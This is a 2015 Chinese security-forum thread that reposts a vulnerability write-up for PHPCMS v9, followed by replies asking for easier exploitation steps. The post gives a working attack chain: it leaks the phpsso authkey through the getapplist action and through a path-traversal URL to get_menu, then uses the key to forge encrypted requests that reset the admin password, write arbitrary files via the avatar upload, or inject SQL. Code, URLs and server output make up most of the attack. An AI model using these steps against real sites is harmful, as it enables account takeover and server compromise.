凡火火。 发表于 2015-4-12 07:51:22

PHPCMS最新版本authkey泄露可注射拿shell

本帖最后由 凡火火。 于 2015-4-12 08:06 编辑

本文于2015年4月12日清晨转自乌云漏洞平台 截稿时乌云漏洞状态为细节向第三方安全合作伙伴开放

---我是火火可爱的分割线---

安装phpcms的时候会强制安装它的通行证。
phpcms/phpsso_server/phpcms/modules/phpsso/index.php里有一段很可怕的代码
/**
       * 获取应用列表
       */
        public function getapplist() {
                $applist = getcache('applist', 'admin');
                exit(serialize($applist));
        }

cache里是什么内容呢,我们自己去看一下文件:
<?php
return array (
1 =>
array (
    'appid' => '1',
    'type' => 'phpcms_v9',
    'name' => 'phpcms v9',
    'url' => 'http://localhost:8038/study/phpcms/',
    'authkey' => 'L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr',
    'ip' => '',
    'apifilename' => 'api.php?op=phpsso',
    'charset' => 'gbk',
    'synlogin' => '1',
),
);
?>
所以只要我们调用phpsso并且能走到这个方法里,就会突出sso配置的客户端的所有信息,包括authkey。
查看通行证代码发现,只要$_POST['data']可以解出来,就可以走下去。
if(isset($_GET) && is_array($_GET) && count($_GET) > 0) {
                        foreach($_GET as $k=>$v) {
                                if(!in_array($k, array('m','c','a'))) {
                                        $_POST[$k] = $v;
                                }
                        }
                }
GET全付给POST
if(isset($_POST['data'])) {
                        parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
                                       
                        if(empty($this->data) || !is_array($this->data)) {
                                exit('0');
                        }
                } else {
                        exit('0');
                }
ok,我们怎么拿到这个$_POST['data'],用户上传头像的页面里就有。

注册登录后访问

http://localhost:8038/study/phpcms/index.php?m=member&c=index&a=account_manage_avatar&t=1

查看源文件:

拿到这个:

aHR0cDovL2xvY2FsaG9zdDo4MDM4L3N0dWR5L3BocGNtcy9waHBzc29fc2VydmVyL2luZGV4LnBocD9tPXBocHNzbyZjPWluZGV4JmE9dXBsb2FkYXZhdGFyJmF1dGhfZGF0YT12PTEmYXBwaWQ9MSZkYXRhPWU1YzJWQU1HVVFaUkFRa0lVUVFLVndGVUFnSUNWZ0FJQWxkVkJRRkREUVZjVjBNVVFHa0FReFZaWmxNRUdBOSUyQkRqWm9LMUFIUm1Vd0JHY09YVzVVRGdRaEpEeGFlUVZuR0FkeFZSY0tRQQ==

解除base64_decode编码得

http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA


将url里的uploadavatar换成:getapplist得:

http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA

访问得:

a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:35:"http://localhost:8038/study/phpcms/";s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:3:"gbk";s:8:"synlogin";s:1:"1";}}

和我们想的一样,authkey在里面:

s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr"

拿到这个key已经可以想做什么想什么了,sso体系里的东西都可以做了。



举个例子:


/phpcms/phpsso_server/phpcms/modules/phpsso/index.php

内:

public function uploadavatar()

写的



$this->uid = $this->data['uid']; //uid来自解密出来的uid

$this->avatardata = $this->data['avatardata']; //数据内容来自解密出来的数据内容



……



$dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';



//目录名里引用了来自解密内容的uid



……

$filename = $dir.'180x180.jpg';

//文件名又来自引用了解密uid内容的$dir变量

$fp = fopen($filename, 'w');

fwrite($fp, $this->avatardata);

fclose($fp);



文件写入了,反正是想做什么做什么。



可是……在厂商默默的忽略之后又偷偷的发了小补丁。。。
其中这个点
public function getapplist() {
                $applist = getcache('applist', 'admin');
                exit(serialize($applist));
        }

修复为
public function getapplist() {
                $applist = getcache('applist', 'admin');
                foreach($applist as $key=>$value){
                        unset($applist[$key]['authkey']);
                }
                exit(serialize($applist));
修复得很不仔细,看来厂商真的觉得这不是个洞。好啊,那么肯定就会有其它点了,既然不重视这个点,我们来看\api\get_menu.php:
function ajax_getlist() {

        $cachefile = $_GET['cachefile'];
        $cachefile = str_replace(array('/', '//'), '', $cachefile);
        //$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
        $path = $_GET['path'];
        $path = str_replace(array('/', '//'), '', $path);
        //$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
        $title = $_GET['title'];
        $key = $_GET['key'];
        $infos = getcache($cachefile,$path);
        $where_id = intval($_GET['parentid']);
        $parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
        foreach($infos AS $k=>$v) {
                if($v['parentid'] == $where_id) {
                        if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
                        $s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
                }
        }
        if(count($s)>0) {
                $jsonstr = json_encode($s);
                echo trim_script($_GET['callback']).'(',$jsonstr,')';
                exit;                       
        } else {
                echo trim_script($_GET['callback']).'()';exit;                       
        }
}
其中的getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容。

那么如果这样的链接会督导什么内容呢?

http://www.test.org/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

继续往下看
在\phpsso_server\phpcms\modules\phpsso\index.php中含有如下函数:
public function edit() {
                $this->email = isset($this->data['email']) ? $this->data['email'] : '';
                $this->uid = isset($this->data['uid']) ? $this->data['uid'] : '';

                $userinfo = $this->getuserinfo(1);
               
                if (isset($this->data['password']) && !empty($this->data['password'])) {
                        $this->password = create_password($this->data['password'], $userinfo['random']);
                }
               
                $this->random = !empty($this->data['random']) ? $this->data['random'] : $userinfo['random'];
                if (isset($this->data['newpassword']) && !empty($this->data['newpassword'])) {
                        $this->newpassword = create_password($this->data['newpassword'], $this->random);
                }

                if ($userinfo == -1) {
                        exit('-1');
                }

                if (isset($this->password) && !empty($this->password) && $userinfo['password'] != $this->password) {
                        exit('-2');
                }

                if ($this->email && $userinfo['email'] != $this->email) {
                        if($this->checkemail(1) == -1) exit('-3');
                }       
               
                $data = array();
                $data['appname'] = $this->applist[$this->appid]['name'];
               
                if (!empty($this->email) && $userinfo['email'] != $this->email) {
                        $data['email'] = $this->email;
                }

                if (isset($this->newpassword) && $userinfo['password'] != $this->newpassword) {
                        $data['password'] = $this->newpassword;
                        $data['random'] = $this->random;
                }

                if (!empty($data)) {
                       
                        //ucenter部份
                        if ($this->config['ucuse']) {
                                pc_base::load_config('uc_config');
                                require_once PHPCMS_PATH.'api/uc_client/client.php';
                                $r = uc_user_edit($userinfo['username'], '', (isset($this->data['newpassword']) && !empty($this->data['newpassword']) ? $this->data['newpassword'] : ''), $data['email'],1);
                                if ($r != 1) {
                               //{-1:用户不存在;-2:旧密码错误;-3:email已经存在 ;1:成功;0:未作修改}
                                        switch ($r) {
                                                case '-1':
                                                        exit('-2');
                                                break;
                                                case '0':                               
                                                case '-4':                                               
                                                case '-5':                                               
                                                case '-6':
                                                case '-7':
                                                case '-8':
                                                        exit('0');
                                                break;
                                        }
                                }
                        }
                        if (empty($data['email'])) unset($data['email']);
               
                        /*插入消息队列*/
                        $noticedata = $data;
                        $noticedata['uid'] = $userinfo['uid'];
                        messagequeue::add('member_edit', $noticedata);
                        if($this->username) {
                                $res = $this->db->update($data, array('username'=>$this->username));
                        } else {
                                $res = $this->db->update($data, array('uid'=>$this->uid));
                        }
                        exit("$res");
                } else {
                        exit('0');
                }
        }
里面有数据库的操作,应该是用于密码更改的。我们来构造一个data数据,加密前:
uid=1&newpassword=admin123456
利用上面的authkey以及cms自带的加解密函数即可进行加密。在这里,我们除了可以修改密码,还可以进行注入.
我只是大自然的搬运工。

C4r1st 发表于 2015-4-12 10:56:09

昨天晚上捧着手机在床上看了半天,现在再来重新看一遍、

黑咖啡 发表于 2015-4-13 08:56:17

学习了!:lol

风之琳 发表于 2015-4-13 16:18:15

楼主,能做一个教程么?看不懂

2863482451 发表于 2015-4-13 23:04:51

直接来个怎么利用多啊好。一直没怎么看懂

埃辛 发表于 2015-4-20 20:01:31

为什么按照你的操作进行 返回零呢 ,搞不明白了

埃辛 发表于 2015-4-20 21:04:44

我这样说正确的吗 sys_auth('uid=1&newpassword=admin123456','ENCODE','BnT5xx7Sxgma8B9hvHC6RTUkPOdbFRHO')加密后然后 访问 /index.php?m=phpsso&c=index&a=edit&data=加密字符串 ?   不成功 肯定哪里出了问题 能不能不吝指教下   

H.U.C—Prince 发表于 2015-6-28 00:44:54

支持中国红客联盟(ihonker.org)

admin1964 发表于 2015-6-29 18:29:37

支持中国红客联盟(ihonker.org)

Jack-5 发表于 2015-6-30 23:38:00

学习学习技术,加油!
页: [1] 2 3 4 5 6 7 8 9
查看完整版本: PHPCMS最新版本authkey泄露可注射拿shell